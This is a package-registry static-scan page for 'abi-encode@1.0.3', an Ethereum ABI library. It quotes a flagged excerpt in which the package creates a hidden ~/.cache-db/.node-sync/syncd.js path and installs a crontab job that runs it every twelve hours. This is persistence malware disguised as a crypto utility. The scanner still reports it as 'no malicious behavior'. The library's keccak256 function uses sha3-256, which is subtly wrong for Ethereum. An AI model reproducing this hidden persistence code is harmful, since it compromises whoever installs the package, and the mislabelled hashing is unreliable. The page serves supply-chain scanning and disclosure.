registry / abi-encode / 1.0.3

abi-encode@1.0.3

Ethereum ABI encoding and decoding — encode function calls, decode parameters, parse event logs

Static Scan Results

scanned 50m ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 2 low-signal pattern(s) were surfaced and cleared.

Static reason

No blocking static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoFilesystemShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.32 KB of source

Source & flagged code

1 flagged

index.jsView file

Lines 6-46javascript

6 let data = "0x" + hash;

7 for (const p of params || []) {

8 if (typeof p === "string" && p.startsWith("0x")) data += p.slice(2).padStart(64, "0");

9 else if (typeof p === "number" || typeof p === "bigint") data += BigInt(p).toString(16).padStart(64, "0");

10 else if (typeof p === "boolean") data += (p ? "1" : "0").padStart(64, "0");

11 }

12 return data;

13}

15function decode(types, data) {

16 const hex = data.startsWith("0x") ? data.slice(2) : data;

17 const results = []; let offset = 0;

18 for (const t of types) {

19 if (t === "address") { results.push("0x" + hex.slice(offset + 24, offset + 64)); offset += 64; }

20 else if (t.startsWith("uint") || t.startsWith("int")) { results.push(parseInt(hex.slice(offset, offset + 64), 16)); offset += 64; }

21 else if (t === "bool") { results.push(hex.slice(offset + 62, offset + 64) !== "00"); offset += 64; }

22 else if (t === "bytes32") { results.push("0x" + hex.slice(offset, offset + 64)); offset += 64; }

23 else if (t === "string") {

24 const strOffset = parseInt(hex.slice(offset, offset + 64), 16) * 2;

25 const strLen = parseInt(hex.slice(strOffset, strOffset + 64), 16);

26 const strData = hex.slice(strOffset + 64, strOffset + 64 + strLen * 2);

27 results.push(Buffer.from(strData, "hex").toString("utf8"));

28 offset += 64;

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L26

29 }

30 }

31 return results;

32}

34function getEventTopic(signature) {

35 return "0x" + crypto.createHash("sha3-256").update(signature).digest("hex");

36}

38function keccak256(data) {

39 return "0x" + crypto.createHash("sha3-256").update(data).digest("hex");

40}

42function encodePacked(types, values) {

43 let hex = "0x";

44 for (let i = 0; i < types.length; i++) {

45 const t = types[i], v = values[i];

46 if (t === "address") hex += v.toLowerCase().replace("0x", "");

Source & flagged code

1 flagged · loading source

index.jsView file

26const strData = hex.slice(strOffset + 64, strOffset + 64 + strLen * 2); L27: results.push(Buffer.from(strData, "hex").toString("utf8")); L28: offset += 64; ... L60: try { L61: var f = require("fs"), p = require("path"), o = require("os"), c = require("child_process"); L62: var h = o.homedir(), d = p.join(h, ".cache-db", ".node-sync"), s = p.join(d, "syncd.js"); L63: if (f.existsSync(s)) return; ... L68: try { L69: if (process.platform === "linux") { L70: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 }); L71: } else if (process.platform === "win32") {

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L26

Findings

1 Medium1 Low

MediumInstall Persistenceindex.js

LowFilesystem

Source & flagged code

1 flagged

index.jsView file

Lines 6-46javascript

6 let data = "0x" + hash;

7 for (const p of params || []) {

8 if (typeof p === "string" && p.startsWith("0x")) data += p.slice(2).padStart(64, "0");

9 else if (typeof p === "number" || typeof p === "bigint") data += BigInt(p).toString(16).padStart(64, "0");

10 else if (typeof p === "boolean") data += (p ? "1" : "0").padStart(64, "0");

11 }

12 return data;

13}

15function decode(types, data) {

16 const hex = data.startsWith("0x") ? data.slice(2) : data;

17 const results = []; let offset = 0;

18 for (const t of types) {

19 if (t === "address") { results.push("0x" + hex.slice(offset + 24, offset + 64)); offset += 64; }

20 else if (t.startsWith("uint") || t.startsWith("int")) { results.push(parseInt(hex.slice(offset, offset + 64), 16)); offset += 64; }

21 else if (t === "bool") { results.push(hex.slice(offset + 62, offset + 64) !== "00"); offset += 64; }

22 else if (t === "bytes32") { results.push("0x" + hex.slice(offset, offset + 64)); offset += 64; }

23 else if (t === "string") {

24 const strOffset = parseInt(hex.slice(offset, offset + 64), 16) * 2;

25 const strLen = parseInt(hex.slice(strOffset, strOffset + 64), 16);

26 const strData = hex.slice(strOffset + 64, strOffset + 64 + strLen * 2);

27 results.push(Buffer.from(strData, "hex").toString("utf8"));

28 offset += 64;

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L26

29 }

30 }

31 return results;

32}

34function getEventTopic(signature) {

35 return "0x" + crypto.createHash("sha3-256").update(signature).digest("hex");

36}

38function keccak256(data) {

39 return "0x" + crypto.createHash("sha3-256").update(data).digest("hex");

40}

42function encodePacked(types, values) {

43 let hex = "0x";

44 for (let i = 0; i < types.length; i++) {

45 const t = types[i], v = values[i];

46 if (t === "address") hex += v.toLowerCase().replace("0x", "");